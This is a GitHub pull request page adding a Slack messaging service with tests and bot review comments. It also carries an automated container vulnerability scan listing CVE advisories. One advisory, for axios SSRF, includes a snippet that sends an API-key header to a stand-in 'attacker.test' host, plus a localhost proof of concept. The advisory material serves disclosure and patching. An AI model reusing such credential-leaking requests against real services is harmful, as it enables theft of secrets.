Skip to content

Add SlackService for posting messages to Slack (#61) - #63

Merged
anatolyshipitz merged 4 commits into
mainfrom
feature/add-slack-service
Jun 11, 2025
Merged

Add SlackService for posting messages to Slack (#61)#63
anatolyshipitz merged 4 commits into
mainfrom
feature/add-slack-service

Conversation

@anatolyshipitz

Copy link
Copy Markdown
Collaborator
  • Introduced SlackService class to facilitate posting messages to a specified Slack channel.
  • Implemented error handling to throw an AppError if the Slack channel ID is not set, ensuring robust error reporting.
  • The service utilizes the Slack Web API for message posting, enhancing integration capabilities with Slack.

These changes improve the application's ability to communicate via Slack and provide a structured approach to message handling.

- Introduced `SlackService` class to facilitate posting messages to a specified Slack channel.
- Implemented error handling to throw an `AppError` if the Slack channel ID is not set, ensuring robust error reporting.
- The service utilizes the Slack Web API for message posting, enhancing integration capabilities with Slack.

These changes improve the application's ability to communicate via Slack and provide a structured approach to message handling.
@anatolyshipitz anatolyshipitz self-assigned this Jun 11, 2025
@anatolyshipitz
anatolyshipitz requested a review from killev as a code owner June 11, 2025 10:28
@coderabbitai

coderabbitai Bot commented Jun 11, 2025

Copy link
Copy Markdown
📝 Walkthrough

"""

Walkthrough

A new SlackService class is introduced to handle Slack API interactions, including message posting with error handling. Supporting tests are added to validate its behavior under various scenarios using mocked dependencies. An index file is created to re-export the SlackService, streamlining imports.

Changes

File(s) Change Summary
workers/main/src/services/SlackService/SlackService.ts Added SlackService class for posting messages to Slack, with config validation and error handling.
workers/main/src/services/SlackService/SlackService.test.ts Added test suite for SlackService, mocking dependencies and testing constructor and postMessage logic.
workers/main/src/services/SlackService/index.ts Added barrel export for SlackService to simplify imports.

Sequence Diagram(s)

sequenceDiagram
    participant App
    participant SlackService
    participant SlackAPI

    App->>SlackService: new SlackService()
    SlackService->>SlackService: Validate config (token)
    App->>SlackService: postMessage(text, thread?)
    SlackService->>SlackService: Validate config (channel ID)
    SlackService->>SlackAPI: postMessage(text, channel, thread?)
    SlackAPI-->>SlackService: API response
    alt Success
        SlackService-->>App: Return response
    else Failure
        SlackService-->>App: Throw SlackRepositoryError
    end
Loading

Possibly related PRs

Suggested reviewers

  • killev
    """

📜 Recent review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between f8b43cb and fa5c1b2.

📒 Files selected for processing (2)
  • workers/main/src/services/SlackService/SlackService.test.ts (1 hunks)
  • workers/main/src/services/SlackService/SlackService.ts (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (2)
  • workers/main/src/services/SlackService/SlackService.test.ts
  • workers/main/src/services/SlackService/SlackService.ts
⏰ Context from checks skipped due to timeout of 90000ms (7)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: SonarQube
  • GitHub Check: lint
  • GitHub Check: Service Availability Check
  • GitHub Check: Analyze (actions)
  • GitHub Check: Analyze (javascript-typescript)
✨ Finishing Touches
  • 📝 Generate Docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@anatolyshipitz
anatolyshipitz enabled auto-merge (squash) June 11, 2025 10:28

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (3)
workers/main/src/services/SlackService.ts (3)

5-10: Consider making the WebClient static to avoid multiple TCP handshakes
If SlackService is instantiated in several places, each instance opens its own connection pool. A shared static/singleton client reduces overhead.


16-20: Avoid sending thread_ts: undefined
Passing an explicit undefined property is unnecessary noise on the wire. Build the options object conditionally.


12-12: Declare an explicit return type for postMessage
Helps IntelliSense and prevents accidental breaking changes.

-async postMessage(text: string, thread?: string) {
+async postMessage(text: string, thread?: string): Promise<ChatPostMessageResponse> {
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 52a2dd7 and 5e0dd6d.

📒 Files selected for processing (1)
  • workers/main/src/services/SlackService.ts (1 hunks)
🧰 Additional context used
🧬 Code Graph Analysis (1)
workers/main/src/services/SlackService.ts (2)
workers/main/src/configs/slack.ts (1)
  • slackConfig (3-6)
workers/main/src/common/errors/AppError.ts (1)
  • AppError (1-9)
⏰ Context from checks skipped due to timeout of 90000ms (7)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: lint
  • GitHub Check: SonarQube
  • GitHub Check: Analyze (javascript-typescript)
  • GitHub Check: Analyze (actions)

Comment thread workers/main/src/services/SlackService.ts Outdated
Comment thread workers/main/src/services/SlackService.ts Outdated
@github-actions

github-actions Bot commented Jun 11, 2025

Copy link
Copy Markdown

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:614661ca0ddf853cfbd8c7075dce8fd0b592eb4a761dcb8cc0a249499380736c
vulnerabilitiescritical: 2 high: 6 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 1
critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/samlify@2.9.0

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.023%
EPSS Percentile5th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/stdlib@1.24.0

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/axios@1.7.4

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/semver@5.3.0

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile53rd percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.2 (npm)

pkg:npm/tar-fs@2.1.2

high 8.7: CVE--2025--48387 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.3
Fixed version2.1.3
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.082%
EPSS Percentile25th percentile
Description

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/cross-spawn@7.0.3

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.151%
EPSS Percentile37th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/multer@1.4.5-lts.2

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.049%
EPSS Percentile15th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/pdfjs-dist@2.16.105

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score15.980%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

- Reorganized the `SlackService` class to improve error handling by throwing an `AppError` for missing Slack token and channel ID.
- Implemented the `postMessage` method to handle Slack API responses more robustly, ensuring proper error reporting for API failures.
- Added unit tests for `SlackService` to validate functionality, including scenarios for missing token, channel ID, and API errors.

These changes enhance the reliability and maintainability of the Slack integration within the application.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

🧹 Nitpick comments (2)
workers/main/src/services/SlackService/SlackService.ts (1)

16-24: Add an explicit return type & stronger param naming

postMessage currently returns an untyped any, losing compile-time safety.
Additionally, Slack’s API expects thread_ts, so naming the param threadTs avoids confusion.

-import { WebClient } from '@slack/web-api';
+import {
+  WebClient,
+  ChatPostMessageResponse,
+} from '@slack/web-api';

-  async postMessage(text: string, thread?: string) {
+  async postMessage(
+    text: string,
+    threadTs?: string,
+  ): Promise<ChatPostMessageResponse> {
workers/main/src/services/SlackService/SlackService.test.ts (1)

7-13: Mock shape drifts from real SDK – add type safety

The mock only stubs the properties you use now. If future code relies on additional fields (ts, channel, etc.) tests will silently miss breakage. Use as unknown as with a typed object or create a helper factory returning a fully-typed ChatPostMessageResponse.

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 5e0dd6d and 8a1cdc7.

📒 Files selected for processing (3)
  • workers/main/src/services/SlackService/SlackService.test.ts (1 hunks)
  • workers/main/src/services/SlackService/SlackService.ts (1 hunks)
  • workers/main/src/services/SlackService/index.ts (1 hunks)
✅ Files skipped from review due to trivial changes (1)
  • workers/main/src/services/SlackService/index.ts
🧰 Additional context used
🧬 Code Graph Analysis (2)
workers/main/src/services/SlackService/SlackService.test.ts (2)
workers/main/src/services/SlackService/SlackService.ts (1)
  • SlackService (6-32)
workers/main/src/common/errors/AppError.ts (1)
  • AppError (1-9)
workers/main/src/services/SlackService/SlackService.ts (2)
workers/main/src/configs/slack.ts (1)
  • slackConfig (3-6)
workers/main/src/common/errors/AppError.ts (1)
  • AppError (1-9)
⏰ Context from checks skipped due to timeout of 90000ms (7)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: SonarQube
  • GitHub Check: lint
  • GitHub Check: Analyze (actions)
  • GitHub Check: Analyze (javascript-typescript)
🔇 Additional comments (1)
workers/main/src/services/SlackService/SlackService.test.ts (1)

51-56: Add a test covering threaded messages

postMessage has a thread parameter but no test covers the thread_ts branch. Adding one guards against accidental regression.

Would you like a small PR adding that test case?

Comment thread workers/main/src/services/SlackService/SlackService.ts Outdated
Comment thread workers/main/src/services/SlackService/SlackService.ts
Comment thread workers/main/src/services/SlackService/SlackService.test.ts
…handling

- Replaced instances of AppError with SlackRepositoryError in the SlackService class to standardize error reporting for missing Slack token and channel ID.
- Updated the postMessage method to throw SlackRepositoryError for API failures, enhancing clarity in error management.
- Adjusted unit tests to reflect the changes in error handling, ensuring robust testing of the SlackService functionality.

These modifications improve the reliability and maintainability of the Slack integration within the application.
- Updated the `SlackService` test suite to utilize a new method `getClientForTest()` for accessing the Slack client, enhancing the test's ability to mock and spy on the `postMessage` method.
- This change improves the clarity and maintainability of the tests, ensuring they accurately reflect the service's functionality.

These modifications contribute to a more robust testing framework for the Slack integration within the application.
@sonarqubecloud

Copy link
Copy Markdown

@killev killev left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good.

@anatolyshipitz
anatolyshipitz merged commit ee32366 into main Jun 11, 2025
@anatolyshipitz
anatolyshipitz deleted the feature/add-slack-service branch June 11, 2025 12:22
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants